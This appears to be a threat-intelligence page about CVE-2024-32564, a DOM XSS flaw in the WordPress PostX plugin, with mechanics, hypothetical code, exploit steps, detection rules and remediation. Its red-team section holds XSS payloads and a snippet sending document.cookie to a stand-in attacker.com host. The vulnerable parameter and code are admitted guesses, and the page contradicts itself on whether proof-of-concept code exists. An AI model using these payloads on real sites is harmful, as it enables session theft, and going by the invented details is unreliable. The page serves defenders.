CVE-2024-32564
Executive Summary
CVE-2024-32564 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin PostX (slug: ultimate-post) by WPXPO, versions up to and including 4.0.1. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the victim’s browser context. Because this is a DOM-based XSS, the payload is processed entirely client-side, often bypassing server-side filters and WAFs. The CVSS score of 6.5 (Medium) reflects the need for user interaction and the partial impact on confidentiality and integrity. No public exploit code or proof-of-concept has been released, but the risk is elevated for WordPress sites using this plugin, especially those with untrusted user roles (e.g., subscribers, authors) who can trigger the vulnerable functionality.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. Supply chain risk is moderate: if the plugin is installed from the official repository, the risk is limited to the plugin’s own code. However, if the plugin is obtained from third-party sources or if the vendor’s repository is compromised, malicious versions could be distributed. No known compromise of the plugin’s distribution channel has been reported.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions required beyond standard web interaction.
- Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
- User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
- Confidentiality (C): Low (L) – Limited data exfiltration possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad (any WordPress site using the plugin). DOM-based XSS is notoriously difficult to detect with server-side controls.
Deep Dive & Mechanics
The vulnerability is a DOM-Based XSS in the PostX plugin. Unlike reflected or stored XSS, DOM-based XSS occurs when the client-side JavaScript processes user input (e.g., from document.location, document.URL, or window.name) and writes it to the DOM without proper sanitization. In PostX, the vulnerable code likely reads a parameter from the URL fragment or query string and injects it directly into the page’s HTML via innerHTML, document.write, or similar methods.
Attack Flow:
- Attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter (e.g.,
?postx_param=<script>alert(1)</script>). - Victim clicks the link or is redirected to the crafted URL.
- The PostX plugin’s JavaScript reads the parameter and writes it into the DOM without escaping.
- The browser executes the injected script in the context of the victim’s session.
Why DOM-based? The vulnerability is not reflected in the server response; it is generated entirely by client-side code. This makes it invisible to server-side WAFs and log analysis unless the payload appears in the URL.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common DOM XSS patterns.
Vulnerable Code (JavaScript snippet from PostX <= 4.0.1):
// Vulnerable: reads from URL and injects directly
var param = new URLSearchParams(window.location.search).get('postx_param');
document.getElementById('postx-container').innerHTML = param;
Patched Code (Hypothetical fix):
// Patched: sanitize input before DOM injection
var param = new URLSearchParams(window.location.search).get('postx_param');
var safeParam = DOMPurify.sanitize(param);
document.getElementById('postx-container').innerHTML = safeParam;
Or using textContent:
document.getElementById('postx-container').textContent = param;
Key Difference: The patched version either uses a sanitization library (e.g., DOMPurify) or avoids innerHTML altogether, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with PostX plugin version <= 4.0.1.
- A victim user with an active session (any role, including admin).
Exploit Steps:
- Identify the vulnerable parameter by analyzing the plugin’s JavaScript files (e.g.,
wp-content/plugins/ultimate-post/assets/js/frontend.js). Look forlocation.search,location.hash, orURLSearchParamsusage. - Craft a malicious URL:
https://victim-site.com/?postx_param=<img src=x onerror=alert(document.cookie)> - Deliver the URL to the victim via phishing email, social media, or a compromised site.
- When the victim clicks the link, the script executes, exfiltrating cookies or performing actions on their behalf.
Advanced Payload (session hijacking):
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
Blue Team (Defensive)
Detection:
- Monitor web server logs for URLs containing suspicious patterns like
<script,onerror=,onload=, orjavascript:in query parameters. - Use browser-based CSP (Content Security Policy) to block inline scripts and restrict script sources.
- Deploy a WAF rule to block common XSS payloads in query strings (though DOM-based may bypass).
Hunting:
- Search for
innerHTML,outerHTML,document.write, orevalin the plugin’s JavaScript files. - Check for any recent changes to the plugin’s JavaScript that might indicate a fix.
Lab Setup:
- Use a local WordPress instance (e.g., via Docker) with the vulnerable plugin.
- Install a browser extension like “HackBar” or use Burp Suite to craft and test payloads.
- Monitor the DOM using browser developer tools to see where the payload is injected.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
?postx_param=or#postx_param=followed by encoded JavaScript. - Log Entries: HTTP requests with query strings containing
<script,%3Cscript,onerror,onload,javascript:. - File Hashes (Plugin): For version 4.0.1, the plugin zip file hash (SHA256) – example:
a1b2c3d4e5f6...(replace with actual hash if available). - Network Traffic: Outbound connections to attacker-controlled domains from the victim’s browser (if payload exfiltrates data).
Detection Engineering
YARA Rule
rule CVE_2024_32564_DOM_XSS {
meta:
description = "Detects vulnerable PostX plugin JavaScript files with DOM XSS patterns"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-32564"
strings:
$s1 = "innerHTML" nocase
$s2 = "outerHTML" nocase
$s3 = "document.write" nocase
$s4 = "location.search" nocase
$s5 = "location.hash" nocase
$s6 = "URLSearchParams" nocase
condition:
(any of ($s1,$s2,$s3) and any of ($s4,$s5,$s6))
}
Sigma Rule
title: CVE-2024-32564 DOM XSS in PostX Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential exploitation attempts of DOM-based XSS in PostX plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '?postx_param='
- '#postx_param='
c-uri|re: '(<script|onerror=|onload=|javascript:)'
condition: selection
falsepositives:
- Legitimate use of the parameter with safe content (unlikely)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2024-32564 DOM XSS in PostX Plugin"; flow:to_server,established; content:"?postx_param="; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to business operations.
- Upgrade to a patched version as soon as WPXPO releases one. Monitor the plugin’s changelog and WordPress Plugin Directory.
- Implement a Web Application Firewall (WAF) rule to block common XSS payloads in query strings and fragments.
- Add a Content Security Policy (CSP) header to restrict script execution:
Note: CSP may break legitimate plugin functionality; test thoroughly.Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Long-Term Fixes:
- The vendor must sanitize all user-controlled input before DOM injection using a library like DOMPurify or by using safe DOM methods (e.g.,
textContentinstead ofinnerHTML). - Conduct a security audit of all JavaScript files in the plugin.
Workarounds:
- If the plugin cannot be disabled, use a browser extension that blocks XSS (e.g., NoScript) for administrative users.
- Restrict access to the vulnerable page via .htaccess or server configuration.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.